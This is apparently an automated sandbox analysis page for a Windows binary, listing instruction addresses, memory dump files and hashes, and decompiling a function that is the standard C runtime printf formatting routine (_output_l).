0x0043bb04
0x0043bb04
0x0043bb07
0x0043bb0a
0x0043bb0d
0x0043bb0f
0x0043bb0f
0x0043bb12
0x0043bb28
0x00000000
0x00000000
0x0043bb2d
0x0043bb2d
0x00000000
0x00000000
0x0043bb39
0x0043bb39
0x0043bb40
0x0043bb43
0x0043bb63
0x0043bb66
0x0043bb66
0x0043bb70
0x0043bb70
0x0043bb74
0x0043bb45
0x0043bb45
0x0043bb51
0x0043bb54
0x0043bb58
0x0043bb5a
0x0043bb5a
0x0043bb61
0x00000000
0x00000000
0x0043bb7c
0x0043bb7c
0x0043bb83
0x0043bb8f
0x0043bb92
0x0043bb98
0x0043bb9f
0x0043bcb2
0x00000000
0x0043bcb2
0x0043bba5
0x0043bbab
0x0043bbab
0x0043bbb2
0x00000000
0x0043bbe9
0x0043bbe9
0x0043bbec
0x0043bbef
0x0043bbf2
0x0043bc19
0x0043bc19
0x0043bc1c
0x0043bc1f
0x0043bc22
0x0043bc46
0x0043bc46
0x0043bc49
0x0043bc4c
0x0043bc4f
0x0043bc88
0x0043bc99
0x00000000
0x0043bc99
0x0043bc51
0x0043bc51
0x0043bc54
0x0043bc57
0x0043bc5a
0x00000000
0x00000000
0x0043bc5c
0x0043bc5c
0x0043bc5f
0x0043bc62
0x0043bc65
0x00000000
0x00000000
0x0043bc67
0x0043bc67
0x0043bc6a
0x0043bc6d
0x0043bc70
0x00000000
0x00000000
0x0043bc72
0x0043bc72
0x0043bc75
0x0043bc78
0x0043bc7b
0x00000000
0x00000000
0x0043bc7d
0x0043bc7d
0x0043bc80
0x0043bc83
0x0043bc86
0x0043bc8a
0x00000000
0x0043bc8a
0x00000000
0x0043bc86
0x0043bc24
0x0043bc24
0x0043bc27
0x0043bc2b
0x0043bc2e
0x00000000
0x0043bc30
0x0043bc33
0x0043bc36
0x0043bc3c
0x0043bc41
0x00000000
0x0043bc41
0x0043bc2e
0x0043bbf4
0x0043bbf4
0x0043bbf7
0x0043bbfb
0x0043bbfe
0x00000000
0x0043bc00
0x0043bc03
0x0043bc06
0x0043bc0c
0x0043bc11
0x00000000
0x0043bc11
0x00000000
0x0043bc9b
0x0043bc9b
0x0043bc9e
0x0043bca1
0x00000000
0x00000000
0x0043bbb9
0x0043bbb9
0x0043bbbc
0x0043bbbf
0x0043bbc2
0x0043bbdb
0x0043bbde
0x0043bbde
0x0043bbe1
0x0043bbc4
0x0043bbc4
0x0043bbc7
0x0043bbca
0x0043bbd0
0x0043bbd6
0x0043bbd6
0x00000000
0x00000000
0x0043bca6
0x0043bca6
0x0043bca9
0x0043bca9
0x0043bcaf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bcb7
0x0043bcb7
0x0043bcbe
0x0043bcc4
0x0043bcca
0x0043bccd
0x0043bcd3
0x0043bcda
0x0043c530
0x0043c530
0x0043c530
0x0043c534
0x00000000
0x00000000
0x00000000
0x0043c534
0x0043c530
0x0043bce0
0x0043bce6
0x0043bce6
0x0043bced
0x00000000
0x0043c071
0x0043c071
0x0043c07f
0x0043c07f
0x0043c082
0x00000000
0x00000000
0x0043bcf4
0x0043bcf7
0x0043bcf7
0x0043bcfd
0x0043bcff
0x0043bd02
0x0043bd02
0x0043bd05
0x0043bd05
0x00000000
0x00000000
0x0043be3a
0x0043be3d
0x0043be3d
0x0043be42
0x0043be44
0x0043be47
0x0043be47
0x0043be4a
0x0043be4a
0x00000000
0x00000000
0x0043c23d
0x0043c23d
0x00000000
0x00000000
0x0043bda4
0x0043bda4
0x0043bdb0
0x0043bdb6
0x0043bdbd
0x0043bdcb
0x0043bdcb
0x0043bdd1
0x0043bdd4
0x0043bde0
0x0043be35
0x00000000
0x0043be35
0x0043bdbf
0x0043bdbf
0x0043bdc5
0x0043bdc9
0x0043bde8
0x0043bde8
0x0043bdee
0x0043be16
0x0043be1d
0x0043be23
0x0043be26
0x0043be29
0x0043be2f
0x0043be32
0x0043bdf0
0x0043bdf0
0x0043bdf6
0x0043bdf9
0x0043bdfc
0x0043be02
0x0043be05
0x0043be08
0x0043be0a
0x0043be0d
0x0043be0d
0x00000000
0x0043bdee
0x00000000
0x00000000
0x0043c089
0x0043c08c
0x0043c08f
0x0043c092
0x0043c098
0x0043c09b
0x0043c0a2
0x0043c0a6
0x0043c0b1
0x0043c0b1
0x0043c0b5
0x0043c0cc
0x0043c0cc
0x0043c0d3
0x0043c0d5
0x0043c0d5
0x0043c0dc
0x0043c0dc
0x0043c0e3
0x0043c0f1
0x0043c0f4
0x0043c103
0x0043c106
0x0043c10a
0x0043c11f
0x0043c10c
0x0043c10c
0x0043c10f
0x0043c115
0x0043c11a
0x0043c11a
0x0043c10a
0x0043c129
0x0043c12c
0x0043c12f
0x0043c132
0x0043c135
0x0043c138
0x0043c13e
0x0043c144
0x0043c14c
0x0043c14d
0x0043c150
0x0043c151
0x0043c154
0x0043c155
0x0043c15c
0x0043c15d
0x0043c160
0x0043c161
0x0043c164
0x0043c165
0x0043c16b
0x0043c16c
0x0043c17b
0x0043c17d
0x0043c183
0x0043c183
0x0043c188
0x0043c18a
0x0043c18e
0x0043c190
0x0043c198
0x0043c199
0x0043c19c
0x0043c19d
0x0043c1ac
0x0043c1ae
0x0043c1ae
0x0043c18e
0x0043c1b1
0x0043c1b8
0x0043c1bb
0x0043c1c0
0x0043c1c0
0x0043c1c6
0x0043c1c8
0x0043c1d0
0x0043c1d1
0x0043c1d4
0x0043c1d5
0x0043c1e3
0x0043c1e5
0x0043c1e5
0x0043c1c6
0x0043c1e8
0x0043c1eb
0x0043c1ee
0x0043c1f1
0x0043c1f6
0x0043c1fb
0x0043c1fe
0x0043c201
0x0043c201
0x0043c204
0x0043c204
0x0043c207
0x0043c213
0x0043c530
0x0043c530
0x0043c530
0x0043c534
0x00000000
0x00000000
0x00000000
0x0043c534
0x00000000
0x0043c530
0x0043c0b7
0x0043c0b7
0x0043c0be
0x0043c0c1
0x00000000
0x00000000
0x0043c0c3
0x0043c0c3
0x00000000
0x0043c0c3
0x0043c0a8
0x0043c0a8
0x00000000
0x00000000
0x0043bd08
0x0043bd08
0x0043bd13
0x0043bd1b
0x0043bd22
0x0043bd25
0x0043bd25
0x0043bd28
0x0043bd81
0x0043bd88
0x0043bd2a
0x0043bd31
0x0043bd37
0x0043bd3d
0x0043bd44
0x0043bd47
0x0043bd4d
0x0043bd55
0x0043bd57
0x0043bd5e
0x0043bd65
0x0043bd6c
0x0043bd74
0x0043bd76
0x0043bd78
0x0043bd78
0x0043bd7f
0x0043bd8f
0x0043bd95
0x0043bd98
0x0043c530
0x0043c530
0x0043c530
0x0043c534
0x00000000
0x00000000
0x00000000
0x0043c534
0x00000000
0x0043c21b
0x0043c21e
0x0043c221
0x0043c224
0x00000000
0x00000000
0x0043bf7a
0x0043bf7a
0x0043bf86
0x0043bf8c
0x0043bf91
0x0043bf93
0x0043c03d
0x0043c03d
0x0043c040
0x0043c040
0x0043c043
0x0043c057
0x0043c05d
0x0043c063
0x0043c045
0x0043c045
0x0043c04b
0x0043c052
0x0043c052
0x0043c065
0x0043c530
0x0043c530
0x0043c530
0x0043c534
0x00000000
0x00000000
0x00000000
0x0043c534
0x0043c530
0x0043bf99
0x0043bf99
0x0043bf99
0x0043bf9b
0x0043bfa9
0x0043bf9d
0x0043bf9d
0x0043bf9d
0x0043bfb3
0x0043bfb9
0x0043bfbf
0x0043bfc6
0x0043bfc8
0x0043bfcd
0x0043bfcf
0x0043bfd4
0x0043bfd9
0x0043bfdb
0x0043bfe0
0x0043bfe3
0x0043bfe6
0x0043bfe8
0x0043bfe8
0x0043bfe6
0x0043bfe9
0x0043bff0
0x0043c038
0x0043c530
0x0043c530
0x0043c530
0x0043c534
0x00000000
0x00000000
0x00000000
0x0043c534
0x0043bff2
0x0043bff2
0x0043bff7
0x0043c013
0x0043c01b
0x0043c025
0x0043c028
0x0043c02d
0x00000000
0x0043c02d
0x00000000
0x0043c284
0x0043c284
0x0043c28e
0x0043c28e
0x0043c294
0x0043c296
0x0043c299
0x0043c299
0x0043c29f
0x0043c29f
0x0043c2a2
0x0043c2a5
0x0043c2a5
0x0043c2aa
0x0043c2cc
0x0043c2cc
0x0043c2d2
0x0043c2f4
0x0043c2f4
0x0043c2f7
0x0043c33e
0x0043c33e
0x0043c341
0x0043c35e
0x0043c362
0x0043c36a
0x0043c36a
0x0043c36c
0x0043c372
0x0043c343
0x0043c343
0x0043c347
0x0043c34f
0x0043c350
0x0043c356
0x0043c356
0x0043c2f9
0x0043c2fc
0x0043c2fc
0x0043c2ff
0x0043c31d
0x0043c329
0x0043c32c
0x0043c32d
0x0043c333
0x0043c301
0x0043c301
0x0043c305
0x0043c30d
0x0043c30e
0x0043c30f
0x0043c315
0x0043c315
0x0043c339
0x0043c2d4
0x0043c2d4
0x0043c2e0
0x0043c2e6
0x0043c2e6
0x0043c2ac
0x0043c2ac
0x0043c2b8
0x0043c2be
0x0043c2be
0x0043c37b
0x0043c37b
0x0043c37e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043be4d
0x0043be4d
0x0043be51
0x0043be5f
0x0043be62
0x0043be53
0x0043be53
0x0043be53
0x0043be68
0x0043be6e
0x0043be74
0x0043be80
0x0043be86
0x0043be86
0x0043be89
0x0043bf11
0x0043bf11
0x0043bf15
0x0043bf17
0x0043bf1d
0x0043bf1d
0x0043bf20
0x0043bf27
0x0043bf2a
0x0043bf30
0x0043bf30
0x0043bf30
0x0043bf36
0x0043bf3c
0x0043bf3f
0x0043bf45
0x0043bf47
0x00000000
0x00000000
0x0043bf49
0x0043bf49
0x0043bf4f
0x0043bf52
0x0043bf54
0x00000000
0x00000000
0x0043bf56
0x0043bf5c
0x0043bf5f
0x0043bf5f
0x0043bf67
0x0043bf67
0x0043bf6d
0x0043bf6d
0x0043bf72
0x00000000
0x0043be8f
0x0043be8f
0x0043be8f
0x0043be93
0x0043be95
0x0043be9a
0x0043be9a
0x0043be9d
0x0043bea0
0x0043bea6
0x0043beb8
0x0043beb8
0x0043beb8
0x0043bebb
0x0043bec1
0x00000000
0x00000000
0x0043bec3
0x0043bec3
0x0043bec9
0x0043becc
0x0043bece
0x00000000
0x00000000
0x0043bed0
0x0043bed0
0x0043bed9
0x0043bedf
0x0043bee3
0x0043beeb
0x0043beed
0x0043beef
0x0043bef5
0x0043bef5
0x0043bef8
0x0043bef8
0x0043bf04
0x0043bf07
0x0043beaf
0x0043beb2
0x0043beb2
0x0043beb5
0x0043beb5
0x0043bf0f
0x0043bf75
0x0043c530
0x0043c530
0x0043c530
0x0043c534
0x00000000
0x00000000
0x00000000
0x0043c534
0x0043c530
0x00000000
0x0043c22d
0x0043c22d
0x0043c2a2
0x0043c2a2
0x0043c2a5
0x0043c2a5
0x0043c2aa
0x0043c2cc
0x0043c2cc
0x0043c2d2
0x0043c2f4
0x0043c2f4
0x0043c2f7
0x0043c33e
0x0043c33e
0x0043c341
0x0043c35e
0x0043c362
0x0043c36a
0x0043c36a
0x0043c36c
0x0043c372
0x0043c343
0x0043c343
0x0043c347
0x0043c34f
0x0043c350
0x0043c356
0x0043c356
0x0043c2f9
0x0043c2fc
0x0043c2fc
0x0043c2ff
0x0043c31d
0x0043c329
0x0043c32c
0x0043c32d
0x0043c333
0x0043c301
0x0043c301
0x0043c305
0x0043c30d
0x0043c30e
0x0043c30f
0x0043c315
0x0043c315
0x0043c339
0x0043c2d4
0x0043c2d4
0x0043c2e0
0x0043c2e6
0x0043c2e6
0x0043c2ac
0x0043c2ac
0x0043c2b8
0x0043c2be
0x0043c2be
0x0043c37b
0x0043c37b
0x0043c37e
0x00000000
0x00000000
0x00000000
0x0043c37e
0x00000000
0x0043c249
0x0043c249
0x0043c253
0x0043c253
0x0043c25d
0x0043c25d
0x0043c263
0x0043c265
0x0043c26a
0x0043c274
0x0043c274
0x0043c277
0x0043c27b
0x0043c27b
0x0043c2a2
0x0043c2a2
0x0043c2a5
0x0043c2a5
0x0043c2aa
0x0043c2cc
0x0043c2cc
0x0043c2d2
0x0043c2f4
0x0043c2f4
0x0043c2f7
0x0043c33e
0x0043c33e
0x0043c341
0x0043c35e
0x0043c362
0x0043c36a
0x0043c36a
0x0043c36c
0x0043c372
0x0043c343
0x0043c343
0x0043c347
0x0043c34f
0x0043c350
0x0043c356
0x0043c356
0x0043c2f9
0x0043c2fc
0x0043c2fc
0x0043c2ff
0x0043c31d
0x0043c329
0x0043c32c
0x0043c32d
0x0043c333
0x0043c301
0x0043c301
0x0043c305
0x0043c30d
0x0043c30e
0x0043c30f
0x0043c315
0x0043c315
0x0043c339
0x0043c2d4
0x0043c2d4
0x0043c2e0
0x0043c2e6
0x0043c2e6
0x0043c2ac
0x0043c2ac
0x0043c2b8
0x0043c2be
0x0043c2be
0x0043c37b
0x0043c37b
0x0043c37e
0x00000000
0x00000000
0x00000000
0x0043c37e
0x00000000
0x0043c530
0x0043c530
0x0043c530
0x0043c534
0x00000000
0x00000000
0x00000000
0x0043c534
0x00000000
0x00000000
0x0043bab9
0x0043bab9
0x0043babc
0x0043babf
0x00000000
0x00000000
0x0043bac4
0x0043bac7
0x0043bacd
0x00000000
0x00000000
0x0043baae
0x0043bab1
0x0043bab4
0x00000000
0x00000000
0x0043baa3
0x0043baa6
0x0043baa9
0x00000000
0x00000000
0x0043bad2
0x0043bad2
0x0043bad5
0x0043bad5
0x0043bad8
0x00000000
0x00000000
0x0043badb
0x00000000
0x00000000
0x0043b94b
0x0043b94b
0x0043b94d
0x0043b95b
0x0043b94f
0x0043b94f
0x0043b94f
0x0043b96b
0x0043b978
0x0043b97a
0x0043b97f
0x0043b981
0x0043b986
0x0043b98b
0x0043b98d
0x0043b992
0x0043b998
0x0043b99a
0x0043b99a
0x0043b998
0x0043b99b
0x0043b9a2
0x00000000
0x0043b9a4
0x0043b9a9
0x0043b9c5
0x0043b9cd
0x0043b9da
0x0043b9df
0x0043c7f4
0x0043c801
0x0043c801
0x0043b9a2
0x0043b945
0x0043c730
0x0043c730
0x0043c737
0x0043c74e
0x0043c74e
0x0043c758
0x0043c758
0x0043c75e
0x0043c764
0x0043c76b
0x0043c76d
0x0043c772
0x0043c774
0x0043c779
0x0043c77e
0x0043c780
0x0043c785
0x0043c788
0x0043c78b
0x0043c78d
0x0043c78d
0x0043c78b
0x0043c78e
0x0043c795
0x0043c7e0
0x0043c7e9
0x0043c7ee
0x0043c797
0x0043c79c
0x0043c7b8
0x0043c7c0
0x0043c7cd
0x0043c7d2
0x0043c7d2
0x00000000
0x0043c795
0x0043c739
0x0043c739
0x0043c740
0x00000000
0x00000000
0x0043c742
0x0043c742
0x00000000
0x0043c742
0x0043c530
0x0043c507
0x0043c507
0x0043c50b
0x0043c518
0x0043c51b
0x0043c51e
0x0043c521
0x0043c524
0x0043c527
0x0043c52a
0x0043c52a
0x0043c52d
0x00000000
0x0043c52d
0x0043c50d
0x0043c50d
0x0043c510
0x0043c513
0x0043c516
0x00000000
0x00000000
0x00000000
0x0043c516
0x0043c46c
0x0043c46c
0x0043c46f
0x0043c472
0x0043c479
0x0043c480
0x0043c488
0x0043c48e
0x0043c491
0x0043c494
0x0043c49b
0x0043c4a7
0x0043c4ad
0x0043c4b3
0x0043c4ba
0x0043c4bc
0x0043c4c2
0x0043c4c2
0x0043c4c8
0x0043c4c8
0x0043c4ce
0x0043c4d7
0x0043c4dc
0x0043c4df
0x0043c44e
0x0043c44e
0x0043c454
0x0043c457
0x0043c45a
0x0043c45c
0x00000000
0x00000000
0x00000000
0x0043c45c
0x0043c44e
0x0043c38b
0x0043c38b
0x0043c392
0x00000000
0x00000000
0x00000000
0x0043c3c0
0x0043c3c0
0x0043c3c6
0x0043c3cc
0x0043c3d2
0x00000000
0x0043c3d2
0x0043c2a2
0x0043c253
0x0043c23d

APIs

_get_int64_arg.LIBCMTD ref: 0043C2B0
__aullrem.LIBCMT ref: 0043C480
__aulldiv.LIBCMT ref: 0043C4A2

Strings

9, xrefs: 0043C4B3

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 222ee5dd95a291f1b037ac56949667a20efda2f245ffb5cf1fadd6b0f5447211
Instruction ID: 172d5e4b177ac24fc3f97802653213f88dc8a12b06d740d94d7e07882866fb6e
Opcode Fuzzy Hash: 222ee5dd95a291f1b037ac56949667a20efda2f245ffb5cf1fadd6b0f5447211
Instruction Fuzzy Hash: 2F4115B1E102299FDB24CF58C991BAEB7B4FF89314F10919AD548BB241C7385E81CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00427C0D, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00427C0D() {
				signed int _t476;
				signed int _t497;
				signed int _t532;
				signed int _t545;
				signed int _t549;
				signed short _t550;
				signed int _t553;
				signed int _t556;
				signed int _t557;
				signed int _t605;
				signed int _t613;
				signed int _t615;
				signed int _t617;
				signed int _t624;
				signed int _t628;
				signed int _t665;
				signed int _t668;
				void* _t670;

				L0:
				while(1) {
					L0:
					 *(_t668 - 8) = 8;
					if(( *(_t668 - 0x10) & 0x00000080) != 0) {
						__edx =  *(__ebp - 0x10);
						__edx =  *(__ebp - 0x10) | 0x00000200;
						__eflags = __edx;
						 *(__ebp - 0x10) = __edx;
					}
					while(1) {
						L144:
						__eflags =  *(_t668 - 0x10) & 0x00008000;
						if(( *(_t668 - 0x10) & 0x00008000) == 0) {
							_t615 =  *(_t668 - 0x10) & 0x00001000;
							__eflags = _t615;
							if(_t615 == 0) {
								__eflags =  *(_t668 - 0x10) & 0x00000020;
								if(( *(_t668 - 0x10) & 0x00000020) == 0) {
									_t617 =  *(_t668 - 0x10) & 0x00000040;
									__eflags = _t617;
									if(_t617 == 0) {
										_t476 = E00428360(_t668 + 0x14);
										_t670 = _t670 + 4;
										__eflags = 0;
										 *(_t668 - 0x2b0) = _t476;
										 *(_t668 - 0x2ac) = 0;
									} else {
										_t549 = E00428360(_t668 + 0x14);
										_t670 = _t670 + 4;
										asm("cdq");
										 *(_t668 - 0x2b0) = _t549;
										 *(_t668 - 0x2ac) = _t617;
									}
								} else {
									_t665 =  *(_t668 - 0x10) & 0x00000040;
									__eflags = _t665;
									if(_t665 == 0) {
										_t550 = E00428360(_t668 + 0x14);
										_t670 = _t670 + 4;
										asm("cdq");
										 *(_t668 - 0x2b0) = _t550 & 0x0000ffff;
										 *(_t668 - 0x2ac) = _t665;
									} else {
										_t553 = E00428360(_t668 + 0x14);
										_t670 = _t670 + 4;
										asm("cdq");
										 *(_t668 - 0x2b0) = _t553;
										 *(_t668 - 0x2ac) = _t665;
									}
								}
							} else {
								_t556 = E00428380(_t668 + 0x14);
								_t670 = _t670 + 4;
								 *(_t668 - 0x2b0) = _t556;
								 *(_t668 - 0x2ac) = _t615;
							}
						} else {
							_t557 = E00428380(_t668 + 0x14);
							_t670 = _t670 + 4;
							 *(_t668 - 0x2b0) = _t557;
							 *(_t668 - 0x2ac) = _t613;
						}
						__eflags =  *(_t668 - 0x10) & 0x00000040;
						if(( *(_t668 - 0x10) & 0x00000040) == 0) {
							goto L161;
						}
						L157:
						__eflags =  *(_t668 - 0x2ac);
						if(__eflags > 0) {
							goto L161;
						}
						L158:
						if(__eflags < 0) {
							L160:
							asm("adc edx, 0x0");
							 *(_t668 - 0x2b8) =  ~( *(_t668 - 0x2b0));
							 *(_t668 - 0x2b4) =  ~( *(_t668 - 0x2ac));
							 *(_t668 - 0x10) =  *(_t668 - 0x10) | 0x00000100;
							L162:
							__eflags =  *(_t668 - 0x10) & 0x00008000;
							if(( *(_t668 - 0x10) & 0x00008000) == 0) {
								__eflags =  *(_t668 - 0x10) & 0x00001000;
								if(( *(_t668 - 0x10) & 0x00001000) == 0) {
									_t545 =  *(_t668 - 0x2b4) & 0x00000000;
									__eflags = _t545;
									 *(_t668 - 0x2b4) = _t545;
								}
							}
							__eflags =  *(_t668 - 0x30);
							if( *(_t668 - 0x30) >= 0) {
								 *(_t668 - 0x10) =  *(_t668 - 0x10) & 0xfffffff7;
								__eflags =  *(_t668 - 0x30) - 0x200;
								if( *(_t668 - 0x30) > 0x200) {
									 *(_t668 - 0x30) = 0x200;
								}
							} else {
								 *(_t668 - 0x30) = 1;
							}
							__eflags =  *(_t668 - 0x2b8) |  *(_t668 - 0x2b4);
							if(( *(_t668 - 0x2b8) |  *(_t668 - 0x2b4)) == 0) {
								 *(_t668 - 0x1c) = 0;
							}
							 *((intOrPtr*)(_t668 - 4)) = _t668 - 0x49;
							while(1) {
								L172:
								_t623 =  *(_t668 - 0x30) - 1;
								 *(_t668 - 0x30) =  *(_t668 - 0x30) - 1;
								__eflags =  *(_t668 - 0x30);
								if( *(_t668 - 0x30) > 0) {
									goto L174;
								}
								L173:
								__eflags =  *(_t668 - 0x2b8) |  *(_t668 - 0x2b4);
								if(( *(_t668 - 0x2b8) |  *(_t668 - 0x2b4)) == 0) {
									L177:
									 *(_t668 - 0x24) = _t668 - 0x49 -  *((intOrPtr*)(_t668 - 4));
									 *((intOrPtr*)(_t668 - 4)) =  *((intOrPtr*)(_t668 - 4)) + 1;
									__eflags =  *(_t668 - 0x10) & 0x00000200;
									if(( *(_t668 - 0x10) & 0x00000200) == 0) {
										while(1) {
											L181:
											__eflags =  *(_t668 - 0x28);
											if( *(_t668 - 0x28) != 0) {
												goto L207;
											}
											L182:
											__eflags =  *(_t668 - 0x10) & 0x00000040;
											if(( *(_t668 - 0x10) & 0x00000040) != 0) {
												__eflags =  *(_t668 - 0x10) & 0x00000100;
												if(( *(_t668 - 0x10) & 0x00000100) == 0) {
													__eflags =  *(_t668 - 0x10) & 0x00000001;
													if(( *(_t668 - 0x10) & 0x00000001) == 0) {
														__eflags =  *(_t668 - 0x10) & 0x00000002;
														if(( *(_t668 - 0x10) & 0x00000002) != 0) {
															 *((char*)(_t668 - 0x14)) = 0x20;
															 *(_t668 - 0x1c) = 1;
														}
													} else {
														 *((char*)(_t668 - 0x14)) = 0x2b;
														 *(_t668 - 0x1c) = 1;
													}
												} else {
													 *((char*)(_t668 - 0x14)) = 0x2d;
													 *(_t668 - 0x1c) = 1;
												}
											}
											 *((intOrPtr*)(_t668 - 0x2bc)) =  *((intOrPtr*)(_t668 - 0x18)) -  *(_t668 - 0x24) -  *(_t668 - 0x1c);
											__eflags =  *(_t668 - 0x10) & 0x0000000c;
											if(( *(_t668 - 0x10) & 0x0000000c) == 0) {
												E00428290(0x20,  *((intOrPtr*)(_t668 - 0x2bc)),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
												_t670 = _t670 + 0x10;
											}
											E004282D0( *(_t668 - 0x1c), _t668 - 0x14,  *(_t668 - 0x1c),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
											_t670 = _t670 + 0x10;
											__eflags =  *(_t668 - 0x10) & 0x00000008;
											if(( *(_t668 - 0x10) & 0x00000008) != 0) {
												__eflags =  *(_t668 - 0x10) & 0x00000004;
												if(( *(_t668 - 0x10) & 0x00000004) == 0) {
													E00428290(0x30,  *((intOrPtr*)(_t668 - 0x2bc)),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
													_t670 = _t670 + 0x10;
												}
											}
											__eflags =  *(_t668 - 0xc);
											if( *(_t668 - 0xc) == 0) {
												L203:
												E004282D0( *((intOrPtr*)(_t668 - 4)),  *((intOrPtr*)(_t668 - 4)),  *(_t668 - 0x24),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
												_t670 = _t670 + 0x10;
												goto L204;
											} else {
												L195:
												__eflags =  *(_t668 - 0x24);
												if( *(_t668 - 0x24) <= 0) {
													goto L203;
												}
												L196:
												 *(_t668 - 0x2d4) = 0;
												 *((intOrPtr*)(_t668 - 0x2c0)) =  *((intOrPtr*)(_t668 - 4));
												 *(_t668 - 0x2c4) =  *(_t668 - 0x24);
												while(1) {
													L197:
													 *(_t668 - 0x2c4) =  *(_t668 - 0x2c4) - 1;
													__eflags =  *(_t668 - 0x2c4);
													if( *(_t668 - 0x2c4) == 0) {
														break;
													}
													L198:
													 *(_t668 - 0x316) =  *((intOrPtr*)( *((intOrPtr*)(_t668 - 0x2c0))));
													_t532 = E00434220(_t668 - 0x2c8, _t668 - 0x2d0, 6,  *(_t668 - 0x316) & 0x0000ffff);
													_t670 = _t670 + 0x10;
													 *(_t668 - 0x2d4) = _t532;
													 *((intOrPtr*)(_t668 - 0x2c0)) =  *((intOrPtr*)(_t668 - 0x2c0)) + 2;
													__eflags =  *(_t668 - 0x2d4);
													if( *(_t668 - 0x2d4) != 0) {
														L200:
														 *(_t668 - 0x24c) = 0xffffffff;
														break;
													}
													L199:
													__eflags =  *(_t668 - 0x2c8);
													if( *(_t668 - 0x2c8) != 0) {
														L201:
														E004282D0( *((intOrPtr*)(_t668 + 8)), _t668 - 0x2d0,  *(_t668 - 0x2c8),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
														_t670 = _t670 + 0x10;
														continue;
													}
													goto L200;
												}
												L202:
												L204:
												__eflags =  *(_t668 - 0x24c);
												if( *(_t668 - 0x24c) >= 0) {
													__eflags =  *(_t668 - 0x10) & 0x00000004;
													if(( *(_t668 - 0x10) & 0x00000004) != 0) {
														E00428290(0x20,  *((intOrPtr*)(_t668 - 0x2bc)),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
														_t670 = _t670 + 0x10;
													}
												}
											}
											L207:
											__eflags =  *(_t668 - 0x20);
											if( *(_t668 - 0x20) != 0) {
												L0041C3D0( *(_t668 - 0x20), 2);
												_t670 = _t670 + 8;
												 *(_t668 - 0x20) = 0;
											}
											while(1) {
												L209:
												 *(_t668 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t668 + 0xc))));
												 *((intOrPtr*)(_t668 + 0xc)) =  *((intOrPtr*)(_t668 + 0xc)) + 1;
												if( *(_t668 - 0x251) == 0 ||  *(_t668 - 0x24c) < 0) {
													break;
												} else {
													if( *(_t668 - 0x251) < 0x20 ||  *(_t668 - 0x251) > 0x78) {
														 *(_t668 - 0x2fc) = 0;
													} else {
														 *(_t668 - 0x2fc) =  *( *(_t668 - 0x251) + 0x404430) & 0x0000000f;
													}
												}
												L7:
												 *(_t668 - 0x250) =  *(_t668 - 0x2fc);
												_t20 =  *(_t668 - 0x250) * 8; // 0x6000006
												 *(_t668 - 0x25c) =  *( *(_t668 - 0x25c) + _t20 + 0x404450) >> 4;
												 *(_t668 - 0x300) =  *(_t668 - 0x25c);
												if( *(_t668 - 0x300) > 7) {
													continue;
												}
												L8:
												switch( *((intOrPtr*)( *(_t668 - 0x300) * 4 +  &M004280E8))) {
													case 0:
														L9:
														 *(_t668 - 0xc) = 0;
														_t502 = E00431210( *(_t668 - 0x251) & 0x000000ff, E0041ACE0(_t668 - 0x40));
														_t672 = _t670 + 8;
														if(_t502 == 0) {
															L15:
															E004281F0( *(_t668 - 0x251) & 0x000000ff,  *(_t668 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
															_t670 = _t672 + 0xc;
															goto L209;
														} else {
															E004281F0( *((intOrPtr*)(_t668 + 8)),  *(_t668 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
															_t672 = _t672 + 0xc;
															_t584 =  *((intOrPtr*)( *((intOrPtr*)(_t668 + 0xc))));
															 *(_t668 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t668 + 0xc))));
															_t631 =  *((intOrPtr*)(_t668 + 0xc)) + 1;
															 *((intOrPtr*)(_t668 + 0xc)) = _t631;
															asm("sbb eax, eax");
															 *(_t668 - 0x278) =  ~( ~( *(_t668 - 0x251)));
															if(_t631 == 0) {
																_push(L"(ch != _T(\'\\0\'))");
																_push(0);
																_push(0x486);
																_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																_push(2);
																_t514 = L0041E210();
																_t672 = _t672 + 0x14;
																if(_t514 == 1) {
																	asm("int3");
																}
															}
															L13:
															if( *(_t668 - 0x278) != 0) {
																goto L15;
															} else {
																 *((intOrPtr*)(L00422D00(_t584))) = 0x16;
																E00422A90(_t558, _t584, _t666, _t667, L"(ch != _T(\'\\0\'))", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																 *(_t668 - 0x2e4) = 0xffffffff;
																E0041ACB0(_t668 - 0x40);
																_t497 =  *(_t668 - 0x2e4);
																goto L211;
															}
														}
													case 1:
														L16:
														 *(__ebp - 0x2c) = 0;
														__edx =  *(__ebp - 0x2c);
														 *(__ebp - 0x28) =  *(__ebp - 0x2c);
														__eax =  *(__ebp - 0x28);
														 *(__ebp - 0x18) =  *(__ebp - 0x28);
														__ecx =  *(__ebp - 0x18);
														 *(__ebp - 0x1c) = __ecx;
														 *(__ebp - 0x10) = 0;
														 *(__ebp - 0x30) = 0xffffffff;
														 *(__ebp - 0xc) = 0;
														goto L209;
													case 2:
														L17:
														__edx =  *((char*)(__ebp - 0x251));
														 *(__ebp - 0x304) =  *((char*)(__ebp - 0x251));
